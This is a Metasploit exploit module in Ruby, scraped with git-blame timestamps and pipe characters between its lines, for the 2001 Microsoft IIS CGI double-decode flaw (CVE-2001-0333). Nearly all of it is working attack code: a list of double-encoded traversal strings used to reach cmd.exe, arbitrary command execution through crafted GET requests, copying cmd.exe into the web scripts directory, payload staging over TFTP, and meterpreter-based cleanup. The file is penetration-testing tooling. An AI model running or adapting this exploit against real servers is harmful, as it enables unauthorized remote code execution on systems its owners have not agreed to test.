2010-05-26 22:39:56 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2010-05-26 22:39:56 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex/proto/tftp'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
2010-09-16 16:23:46 +00:00
|
|
|
# NOTE: This cannot be an HttpClient module since the response from the server
|
2010-07-12 23:25:49 +00:00
|
|
|
# is not a valid HttpResponse
|
2010-05-26 22:39:56 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
include Msf::Exploit::CmdStagerTFTP
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Microsoft IIS/PWS CGI Filename Double Decode Command Execution',
|
|
|
|
'Description' => %q{
|
|
|
|
This module will execute an arbitrary payload on a Microsoft IIS installation
|
|
|
|
that is vulnerable to the CGI double-decode vulnerability of 2001.
|
|
|
|
|
|
|
|
NOTE: This module will leave a metasploit payload in the IIS scripts directory.
|
|
|
|
},
|
|
|
|
'Author' => [ 'jduck' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2001-0333' ],
|
|
|
|
[ 'OSVDB', '556' ],
|
|
|
|
[ 'BID', '2708' ],
|
2010-06-15 23:49:17 +00:00
|
|
|
[ 'MSB', 'MS01-026' ],
|
2010-05-26 22:39:56 +00:00
|
|
|
[ 'URL', 'http://marc.info/?l=bugtraq&m=98992056521300&w=2' ]
|
|
|
|
],
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Automatic', { } ]
|
|
|
|
],
|
2010-07-03 03:13:45 +00:00
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'May 15 2001'
|
2010-08-27 17:24:19 +00:00
|
|
|
))
|
2010-05-26 22:39:56 +00:00
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(80),
|
2011-06-21 18:55:28 +00:00
|
|
|
OptString.new('WINDIR', [ false, 'The windows directory of the target host', nil ]),
|
2010-05-26 22:46:10 +00:00
|
|
|
OptString.new('CMD', [ false, 'Execute this command instead of using command stager', nil ])
|
2010-05-26 22:39:56 +00:00
|
|
|
], self.class)
|
2010-08-27 17:24:19 +00:00
|
|
|
|
|
|
|
framework.events.add_exploit_subscriber(self)
|
2010-05-26 22:39:56 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def dotdotslash
|
|
|
|
possibilities = [
|
|
|
|
"..%255c",
|
|
|
|
"..%%35c",
|
|
|
|
"..%%35%63",
|
|
|
|
"..%25%35%63",
|
|
|
|
".%252e/",
|
|
|
|
"%252e./",
|
|
|
|
"%%32%65./",
|
|
|
|
".%%32%65/",
|
|
|
|
".%25%32%65/",
|
|
|
|
"%25%32%65./"
|
|
|
|
]
|
|
|
|
possibilities[rand(possibilities.length)]
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def mini_http_request(opts, timeout=5)
|
|
|
|
connect
|
|
|
|
req = ''
|
|
|
|
req << opts['method']
|
|
|
|
req << ' '
|
|
|
|
req << opts['uri']
|
|
|
|
req << ' '
|
|
|
|
req << "HTTP/1.0\r\n"
|
|
|
|
req << "Host: #{datastore['RHOST']}\r\n"
|
|
|
|
req << "\r\n"
|
|
|
|
sock.put(req)
|
|
|
|
|
|
|
|
# This isn't exactly awesome, but it seems to work..
|
|
|
|
begin
|
|
|
|
headers = sock.get_once(-1, timeout)
|
|
|
|
body = sock.get_once(-1, timeout)
|
|
|
|
rescue ::EOFError
|
|
|
|
# nothing
|
|
|
|
end
|
|
|
|
|
|
|
|
if (datastore['DEBUG'])
|
|
|
|
print_status("Headers:\n" + headers.inspect)
|
|
|
|
print_status("Body:\n" + body.inspect)
|
|
|
|
end
|
|
|
|
disconnect
|
|
|
|
[headers, body]
|
|
|
|
end
|
|
|
|
|
2011-11-04 17:17:10 +00:00
|
|
|
|
2011-06-21 18:55:28 +00:00
|
|
|
def detect_windows_dir()
|
|
|
|
win_dirs = [ 'winnt', 'windows' ]
|
|
|
|
win_dirs.each { |dir|
|
|
|
|
|
|
|
|
res = execute_command("dir", { :windir => dir })
|
|
|
|
if (res.kind_of?(Array))
|
|
|
|
body = res[1]
|
|
|
|
if (body and body =~ /Directory of /)
|
|
|
|
return dir
|
|
|
|
end
|
|
|
|
end
|
|
|
|
}
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
|
2010-05-26 22:39:56 +00:00
|
|
|
|
|
|
|
def check
|
2011-06-21 18:55:28 +00:00
|
|
|
@win_dir = detect_windows_dir()
|
|
|
|
if @win_dir
|
|
|
|
return Exploit::CheckCode::Vulnerable
|
2010-05-26 22:39:56 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
# NOTE: the command executes regardless of whether or not
|
|
|
|
# a valid response is returned...
|
|
|
|
#
|
|
|
|
def execute_command(cmd, opts = {})
|
2010-08-27 17:24:19 +00:00
|
|
|
|
|
|
|
# Don't try the start command...
|
|
|
|
# Using the "start" method doesn't seem to make iis very happy :(
|
|
|
|
return [nil,nil] if cmd =~ /^start [a-zA-Z]+\.exe$/
|
|
|
|
|
2011-06-21 18:55:28 +00:00
|
|
|
print_status("Executing command: #{cmd} (options: #{opts.inspect})")
|
2010-08-27 17:24:19 +00:00
|
|
|
|
2010-05-26 22:39:56 +00:00
|
|
|
uri = '/scripts/'
|
|
|
|
exe = opts[:cgifname]
|
|
|
|
if (not exe)
|
|
|
|
uri << dotdotslash
|
|
|
|
uri << dotdotslash
|
2011-06-21 18:55:28 +00:00
|
|
|
uri << (opts[:windir] || @win_dir)
|
|
|
|
uri << '/system32/cmd.exe'
|
2010-05-26 22:39:56 +00:00
|
|
|
else
|
|
|
|
uri << exe
|
|
|
|
end
|
|
|
|
uri << '?/x+/c+'
|
|
|
|
uri << Rex::Text.uri_encode(cmd)
|
|
|
|
|
2011-10-18 00:54:05 +00:00
|
|
|
vprint_status("Attempting to execute: #{uri}")
|
2010-05-26 22:39:56 +00:00
|
|
|
|
|
|
|
mini_http_request({
|
|
|
|
'uri' => uri,
|
|
|
|
'method' => 'GET',
|
|
|
|
}, 20)
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
|
2011-06-21 18:55:28 +00:00
|
|
|
@win_dir = datastore['WINDIR']
|
|
|
|
if not @win_dir
|
|
|
|
# try to detect the windows directory
|
|
|
|
@win_dir = detect_windows_dir()
|
|
|
|
if not @win_dir
|
|
|
|
raise RuntimeError, "Unable to detect the target host windows directory (maybe not vulnerable)!"
|
|
|
|
end
|
|
|
|
end
|
|
|
|
print_status("Using windows directory \"#{@win_dir}\"")
|
|
|
|
|
|
|
|
# now copy the file
|
2010-05-26 22:39:56 +00:00
|
|
|
exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"
|
2010-08-27 17:24:19 +00:00
|
|
|
print_status("Copying cmd.exe to the web root as \"#{exe_fname}\"...")
|
|
|
|
# NOTE: this assumes %SystemRoot% on the same drive as the web scripts directory
|
2011-06-21 18:55:28 +00:00
|
|
|
# Unfortunately, using %SystemRoot% doesn't seem to work :(
|
|
|
|
res = execute_command("copy \\#{@win_dir}\\system32\\cmd.exe #{exe_fname}")
|
2010-05-26 22:39:56 +00:00
|
|
|
|
|
|
|
if (datastore['CMD'])
|
|
|
|
res = execute_command(datastore['CMD'], { :cgifname => exe_fname })
|
2010-08-27 17:24:19 +00:00
|
|
|
if (res[0])
|
|
|
|
print_status("Command output:\n" + res[0])
|
|
|
|
else
|
|
|
|
print_error("No output received")
|
|
|
|
end
|
|
|
|
|
|
|
|
res = execute_command("del #{exe_fname}")
|
|
|
|
return
|
2010-05-26 22:39:56 +00:00
|
|
|
end
|
|
|
|
|
2010-08-27 17:24:19 +00:00
|
|
|
# Use the CMD stager to get a payload running
|
|
|
|
execute_cmdstager({ :temp => '.', :linemax => 1400, :cgifname => exe_fname })
|
|
|
|
|
|
|
|
# Save these file names for later deletion
|
|
|
|
@exe_cmd_copy = exe_fname
|
|
|
|
@exe_payload = payload_exe
|
|
|
|
|
|
|
|
# Just for good measure, we'll make a quick, direct request for the payload
|
|
|
|
# Using the "start" method doesn't seem to make iis very happy :(
|
|
|
|
print_status("Triggering the payload via a direct request...")
|
|
|
|
mini_http_request({ 'uri' => '/scripts/' + payload_exe, 'method' => 'GET' }, 1)
|
2010-05-26 22:39:56 +00:00
|
|
|
|
|
|
|
handler
|
|
|
|
|
|
|
|
end
|
|
|
|
|
2010-08-27 17:24:19 +00:00
|
|
|
#
|
|
|
|
# The following handles deleting the copied cmd.exe and payload exe!
|
|
|
|
#
|
|
|
|
def on_new_session(client)
|
|
|
|
|
|
|
|
if client.type != "meterpreter"
|
|
|
|
print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.")
|
|
|
|
print_error("The copied exe and the payload exe must be removed manually.")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
return if not @exe_cmd_copy
|
|
|
|
|
|
|
|
# stdapi must be loaded before we can use fs.file
|
|
|
|
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
|
|
|
|
|
|
|
|
# Delete the copied CMD.exe
|
|
|
|
print_status("Deleting copy of CMD.exe \"#{@exe_cmd_copy}\" ...")
|
|
|
|
client.fs.file.rm(@exe_cmd_copy)
|
|
|
|
|
|
|
|
# Migrate so that we can delete the payload exe
|
2011-01-08 00:25:44 +00:00
|
|
|
client.console.run_single("run migrate -f")
|
2010-08-27 17:24:19 +00:00
|
|
|
|
|
|
|
# Delete the payload exe
|
|
|
|
return if not @exe_payload
|
|
|
|
|
|
|
|
delete_me_too = "C:\\inetpub\\scripts\\" + @exe_payload
|
|
|
|
|
|
|
|
print_status("Changing permissions on #{delete_me_too} ...")
|
2011-06-21 18:55:28 +00:00
|
|
|
cmd = "C:\\#{@win_dir}\\system32\\attrib.exe -r -h -s " + delete_me_too
|
2010-08-27 17:24:19 +00:00
|
|
|
client.sys.process.execute(cmd, nil, {'Hidden' => true })
|
|
|
|
|
|
|
|
print_status("Deleting #{delete_me_too} ...")
|
|
|
|
begin
|
|
|
|
client.fs.file.rm(delete_me_too)
|
|
|
|
rescue ::Exception => e
|
|
|
|
print_error("Exception: #{e.inspect}")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def cleanup
|
|
|
|
framework.events.remove_exploit_subscriber(self)
|
|
|
|
end
|
|
|
|
|
2010-05-26 22:39:56 +00:00
|
|
|
end
|